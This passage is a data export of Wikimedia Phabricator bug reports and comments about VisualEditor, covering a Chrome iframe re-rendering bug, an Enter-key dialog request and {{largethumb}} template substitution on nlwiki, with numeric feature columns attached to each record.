This must've been something that was fixed as part of some other work. I'm unable to reproduce.",,,1354656971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-az3twbgyfogcznpnnndd,task_subcomment,,True,c1,0,False,,,-30,,3.0,3.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.310344827586207,0.8620689655172413,"**orbit** wrote:

This must've been something that was fixed as part of some other work. I'm unable to reproduce."
197860,VisualEditor: A wild pawn character appeared!,"Potentially deeper meaning: The list-creation code is really buggy and needs to be fixed. I can't seem to *end* an unordered list, once I create it.",,,1352857130,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-az3twbgyfogcznpnnndd,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,3.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.5142857142857142,0.8571428571428571,"Potentially deeper meaning: The list-creation code is really buggy and needs to be fixed. I can't seem to *end* an unordered list, once I create it."
56854,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","Best seen on a slow connection e.g at crossbrowsertesting.com; I used Chrome 29 on OSX 10.7

Seen on beta labs and test2wiki with a fresh browser instance: 

* Click Edit/beta, invoke VE

** View of page appears, then disappears, refreshes and appears again before ""Welcome to..."" iframe appears

* Click X to dismiss iframe

** iframe disappears for a moment, then reappears, then disappears again

Given a slow enough connection, this behavior could be bothersome for regular users of VE.  

It definitely causes constant failures in the browser tests for Chrome on both beta labs and test2wiki. 

This is not seen in Firefox

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=55756",Medium,50.0,1380670380,1381934805.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-g37szxauflfw6qlavwpb,task_description,declined,True,c1,3,False,False,False,13,,0.0,0.0,0.0,0.5,0.5,5.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,9.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,5.5,2.5,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.5,0.0,0.0,0.0,14.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.5,13.0,0.0,1.5,4.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.0,9.0,6.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,3.9615384615384617,0.6858974358974359,"Best seen on a slow connection e.g at crossbrowsertesting.com; I used Chrome 29 on OSX 10.7

Seen on beta labs and test2wiki with a fresh browser instance: 

* Click Edit/beta, invoke VE

** View of page appears, then disappears, refreshes and appears again before ""Welcome to..."" iframe appears

* Click X to dismiss iframe

** iframe disappears for a moment, then reappears, then disappears again

Given a slow enough connection, this behavior could be bothersome for regular users of VE.  

It definitely causes constant failures in the browser tests for Chrome on both beta labs and test2wiki. 

This is not seen in Firefox

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
273373,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page",This bug was reported and is reproducible against Chrome version 29 but does not appear in Chrome version 30.  Closing.,,,1381934805,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,17.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3478260869565215,0.8695652173913043,This bug was reported and is reproducible against Chrome version 29 but does not appear in Chrome version 30.  Closing.
273367,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","This may only happen in Chrome 29, I have yet to repro in Chrome 30",,,1381871567,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,6.0,19.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.875,"This may only happen in Chrome 29, I have yet to repro in Chrome 30"
273360,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","
Because both the underlying page and the Welcome to... overlay appear and disappear and reappear and then finally disappear for good, there is a chance that the correct elements will be in place at the times that the test looks for them.  On rare occasions the  build will hit everything with perfect timing. 

The other interesting artifact of this issue is that the tests in each build fail for different reasons, because the page and the overlay are appearing and disappearing and reappearing.

Watching the behavior in crossbrowsertesting as noted above is instructive.  The appear/disappear/reappear/disappear-again behavior is easily seen, I just checked it again.

And while the appearance of the 'You are not logged in' notice despite being logged in is more difficult to reproduce, it seems to be a symptom of the same issue.",,,1381853242,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,False,,,15,,0.5,0.5,0.0,2.0,0.5,6.0,3.0,1.0,0.0,0.0,3.5,1.0,0.0,0.0,0.5,0.5,2.0,5.5,13.5,0.5,1.0,0.0,0.5,0.0,0.5,1.5,0.0,0.5,0.0,1.0,0.0,7.0,3.0,1.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.5,1.0,1.0,0.0,0.5,1.0,0.0,0.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,9.5,6.0,5.0,3.5,4.5,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,13.5,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.5,2.5,0.5,0.0,0.0,4.312707015959049,0.7053598313760916,"
Because both the underlying page and the Welcome to... overlay appear and disappear and reappear and then finally disappear for good, there is a chance that the correct elements will be in place at the times that the test looks for them.  On rare occasions the  build will hit everything with perfect timing. 

The other interesting artifact of this issue is that the tests in each build fail for different reasons, because the page and the overlay are appearing and disappearing and reappearing.

Watching the behavior in crossbrowsertesting as noted above is instructive.  The appear/disappear/reappear/disappear-again behavior is easily seen, I just checked it again.

And while the appearance of the 'You are not logged in' notice despite being logged in is more difficult to reproduce, it seems to be a symptom of the same issue."
273352,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","I'm confused as to how the browser tests for Chrome passed 9 days after this bug was filed - https://wmf.ci.cloudbees.com/view/r-ve/job/VisualEditor-en.wikipedia.beta.wmflabs.org-linux-chrome/72/ - only to fail again immediately thereafter, where the only intervening change in VisualEditor's code base was an alteration to the browser tests - https://wmf.ci.cloudbees.com/view/r-ve/job/VisualEditor-en.wikipedia.beta.wmflabs.org-linux-chrome/73/ - which feels like a different issue, and one where the problem is with the tests, not the code they are testing?",,,1381851780,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,1.0,1.0,11.0,12.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,7.0,4.0,1.0,14.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,12.0,4.0,1.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,4.054794520547945,0.726027397260274,"I'm confused as to how the browser tests for Chrome passed 9 days after this bug was filed - URL - only to fail again immediately thereafter, where the only intervening change in VisualEditor's code base was an alteration to the browser tests - URL - which feels like a different issue, and one where the problem is with the tests, not the code they are testing?"
273346,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","still seeing this in automated tests

also, I reproduced this again manually using the slow connection at crossbrowsertesting.com as noted, and in addition to seeing the double-load of the page and double-load of the welcome notice, after clearing the notice I am presented with a message ""You are not logged in"".  This is impossible of course, since I have to be logged in with the opt-in preference set in order to be able to invoke VE at all. 

The ""You are not logged in"" notice does not appear consistently.",,,1381497555,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,False,,,14,,1.0,0.0,0.0,3.5,3.0,3.5,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,7.5,15.5,0.0,3.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.5,0.0,0.0,2.0,1.0,0.0,2.0,1.0,0.0,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,8.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,5.0,5.0,6.5,1.0,1.0,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,4.0,15.5,1.0,0.0,3.5,0.0,4.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.5,3.8939393939393936,0.6971380471380472,"still seeing this in automated tests

also, I reproduced this again manually using the slow connection at crossbrowsertesting.com as noted, and in addition to seeing the double-load of the page and double-load of the welcome notice, after clearing the notice I am presented with a message ""You are not logged in"".  This is impossible of course, since I have to be logged in with the opt-in preference set in order to be able to invoke VE at all. 

The ""You are not logged in"" notice does not appear consistently."
56827,"VisualEditor: Pressing ""enter""/""return"" on a selected node should open its dialog","When a template is selected in the VE editing surface pressing enter should open the transclusion dialog.

When an image is selected in the VE editing surface pressing enter should open the media settings dialog.

These will be of benefit to people making textual changes to the surrounding context who want to make textual changes to the template output / image caption.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50996",Medium,50.0,1380637920,1395274918.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-6g5do6pkec5ll56oa4cb,task_description,resolved,True,c1,3,False,False,False,13,,0.0,0.0,0.0,2.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,7.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,22.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,11.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,4.0,0.0,0.0,0.0,4.273684210526316,0.5368421052631579,"When a template is selected in the VE editing surface pressing enter should open the transclusion dialog.

When an image is selected in the VE editing surface pressing enter should open the media settings dialog.

These will be of benefit to people making textual changes to the surrounding context who want to make textual changes to the template output / image caption.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
271701,"VisualEditor: Pressing ""enter""/""return"" on a selected node should open its dialog","Change 103062 merged by jenkins-bot:
Create mixin that tries to execute primary node command

https://gerrit.wikimedia.org/r/103062",,,1395274517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6g5do6pkec5ll56oa4cb,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 103062 merged by jenkins-bot:
Create mixin that tries to execute primary node command

GERRIT_URL"
271696,"VisualEditor: Pressing ""enter""/""return"" on a selected node should open its dialog","Change 103062 had a related patch set uploaded by Robmoen:
Create mixin for ce nodes that responds to dblclick

https://gerrit.wikimedia.org/r/103062",,,1395182321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6g5do6pkec5ll56oa4cb,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 103062 had a related patch set uploaded by Robmoen:
Create mixin for ce nodes that responds to dblclick

GERRIT_URL"
56803,Images: {{largethumb}} template on nlwiki getting substituted on save,"**Author:** `romaine.wiki`

**Description:**
The VisualEditor substitutes templates that shouldn't been substituted. The largethumb template got substituted on several occasions, like:

https://nl.wikipedia.org/w/index.php?title=Managua_%28stad%29&diff=38749742&oldid=38743043

If this continues to happen too long, we are forced to disable the VisualEditor for everyone as it changes things that absolutely should not be changed.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54315",Medium,50.0,1380575880,1392422883.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2pa34yqzcieje3dwrtub,task_description,resolved,True,c1,3,False,False,False,13,,1.0,1.0,1.0,3.0,2.0,4.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,8.0,1.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,15.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.075268817204301,0.6021505376344086,"**Author:** CODE

**Description:**
The VisualEditor substitutes templates that shouldn't been substituted. The largethumb template got substituted on several occasions, like:

URL

If this continues to happen too long, we are forced to disable the VisualEditor for everyone as it changes things that absolutely should not be changed.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
270312,Images: {{largethumb}} template on nlwiki getting substituted on save,Scheduled for deployment next Wednesday.,,,1392422883,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Scheduled for deployment next Wednesday.
270305,Images: {{largethumb}} template on nlwiki getting substituted on save,"Change 110095 merged by jenkins-bot:
Set up data-mw for all templated image attributes.

https://gerrit.wikimedia.org/r/110095",,,1392413847,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,32,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9545454545454546,"Change 110095 merged by jenkins-bot:
Set up data-mw for all templated image attributes.

GERRIT_URL"
270299,Images: {{largethumb}} template on nlwiki getting substituted on save,"Change 110095 had a related patch set uploaded by Subramanya Sastry:
WIP: Set up data-mw for all templated image attributes.

https://gerrit.wikimedia.org/r/110095",,,1391639496,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,31,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,0.9642857142857143,"Change 110095 had a related patch set uploaded by Subramanya Sastry:
WIP: Set up data-mw for all templated image attributes.

GERRIT_URL"
270293,Images: {{largethumb}} template on nlwiki getting substituted on save,"If the Parsoid will be able to parse this, this would at least avoid bad rendering (thumbnail at the right size) and fix (selfishly) my concern :)",,,1386531660,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,3.0,12.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.75,0.84375,"If the Parsoid will be able to parse this, this would at least avoid bad rendering (thumbnail at the right size) and fix (selfishly) my concern :)"
270284,Images: {{largethumb}} template on nlwiki getting substituted on save,"We can parse it (so that it renders as expected), but I don't see a sane way to represent multiple attributes generated by the same template for visual editing.",,,1386440765,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.9705882352941176,"We can parse it (so that it renders as expected), but I don't see a sane way to represent multiple attributes generated by the same template for visual editing."
270278,Images: {{largethumb}} template on nlwiki getting substituted on save,"@Gabriel Do you mean Parsoid won't be able to parse this template in the same way like the PHP one does?

After discussing a little bit about that on the nlwiki IRC channel, they are (of course) not so happy about that. Not only because the thousands of pages but also because the template is old and a lot of people would have then to change their habits.",,,1386437138,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,4.0,7.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,9.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,17.0,7.0,1.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.8552631578947367,0.8289473684210527,"SCREEN_NAME Do you mean Parsoid won't be able to parse this template in the same way like the PHP one does?

After discussing a little bit about that on the nlwiki IRC channel, they are (of course) not so happy about that. Not only because the thousands of pages but also because the template is old and a lot of people would have then to change their habits."
270271,Images: {{largethumb}} template on nlwiki getting substituted on save,"(In reply to comment #4)
> Wanted to create an offline copy of nlwiki; but this bug is, for this usage,
> a
> showstopper.
> 
> The rendering is awful (but this is nothing new), for example:
> http://parsoid-lb.eqiad.wikimedia.org/nlwiki/Abraham_Lincoln?oldid=39371115
> 
> ... and such type of templates are widely used: ~10.000 articles only for
> {{largethumb}} on nlwiki. This bumps the whole size of the dump by a factor
> 2.
> 
> @James, good news: I have had a look a little bit around and I don't have
> found
> other templates working on the same principle.

@Kelson, that is great news! Scott is looking into image rendering issues, so assigning to him. We should be able to add a special-case hack for this template and edit-protect affected images.

For proper editing the thumb parameter should be pulled out, as in |thumb|{{large}} with large returning just something like '400px'. That will require some convincing and bot activity.",,,1386358615,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,22,,1.0,1.0,0.0,1.0,0.0,6.0,1.5,0.0,0.0,0.0,2.5,2.0,0.0,0.0,0.0,1.0,0.0,1.5,9.0,1.0,1.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.5,1.5,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,11.0,0.0,2.0,5.0,0.0,0.0,0.5,0.5,4.0,0.0,2.0,0.0,1.5,9.0,6.5,0.0,2.0,0.0,1.5,0.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,3.7719298245614037,0.6666666666666666,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME, that is great news! Scott is looking into image rendering issues, so assigning to him. We should be able to add a special-case hack for this template and edit-protect affected images.

For proper editing the thumb parameter should be pulled out, as in |thumb|{{large}} with large returning just something like '400px'. That will require some convincing and bot activity."
270262,Images: {{largethumb}} template on nlwiki getting substituted on save,"Wanted to create an offline copy of nlwiki; but this bug is, for this usage, a showstopper.

The rendering is awful (but this is nothing new), for example:
http://parsoid-lb.eqiad.wikimedia.org/nlwiki/Abraham_Lincoln?oldid=39371115

... and such type of templates are widely used: ~10.000 articles only for {{largethumb}} on nlwiki. This bumps the whole size of the dump by a factor 2.

@James, good news: I have had a look a little bit around and I don't have found other templates working on the same principle.",,,1386332566,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.5,1.0,8.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,3.5,7.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,13.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,7.5,2.0,5.5,0.0,2.5,9.5,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,2.0,7.5,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,3.5480769230769234,0.7884615384615384,"Wanted to create an offline copy of nlwiki; but this bug is, for this usage, a showstopper.

The rendering is awful (but this is nothing new), for example:
URL

... and such type of templates are widely used: ~10.000 articles only for {{largethumb}} on nlwiki. This bumps the whole size of the dump by a factor 2.
SCREEN_NAME, good news: I have had a look a little bit around and I don't have found other templates working on the same principle."
